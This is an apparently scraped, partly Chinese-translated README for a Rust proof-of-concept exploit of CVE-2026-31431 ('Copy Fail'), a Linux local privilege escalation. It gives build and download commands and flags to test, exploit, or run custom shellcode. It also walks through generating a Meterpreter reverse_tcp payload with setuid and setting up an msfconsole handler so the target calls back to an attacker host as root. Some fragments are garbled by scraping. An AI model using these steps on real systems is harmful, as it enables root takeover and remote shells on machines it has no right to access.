Rust 实现的 CVE-2026-31431-Linux-Copy-Fail 漏洞 PoC,允许执行自定义的 shellcode(如 Meterpreter)。

仓库文件导航
Rust 实现的本地权限升级漏洞利用,适用于 CVE-2026-31431(复制失败)。
它允许执行自定义的shellcode(例如 Meterpreter ))
简介
Xint披露了CVE-2026-31431,这是一种任意的页面缓存写入漏洞,用于实现4字节写原语。 AF_ALG splice()
来源: Copy fail:每个主要Linux发行版的root节点为732字节
免责声明
这个项目是我个人对网络安全研究兴趣的一部分。然而,它也可能被恶意滥用。
请勿使用此工具进行任何非法活动。
作者对本软件的任何滥用不承担任何责任。
致谢
注:原作使用压缩/编码的壳码(例如 )。在这个实现中,我用一个原始(未压缩)的shellcode来替代它,方便自定义或直接替换用户提供的载荷。
/bin/sh/bin/bash
编译方法
克隆该项目,然后执行: build.sh
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
用途
下载并解压发布包:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
以下二进制提供了以下选项:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
演示
测试漏洞
关于易受攻击的机器:
./CVE-2026-31431-Linux-Copy-Fail --test

开发
./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter
Use the command (set PrependSetUid to ) below to generate Meterpreter payload:True
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
On the attacker machine (Kali Linux):
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
On the vulnerable machine:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin


Affected Versions
发行作品1
套餐
没有发布任何软件包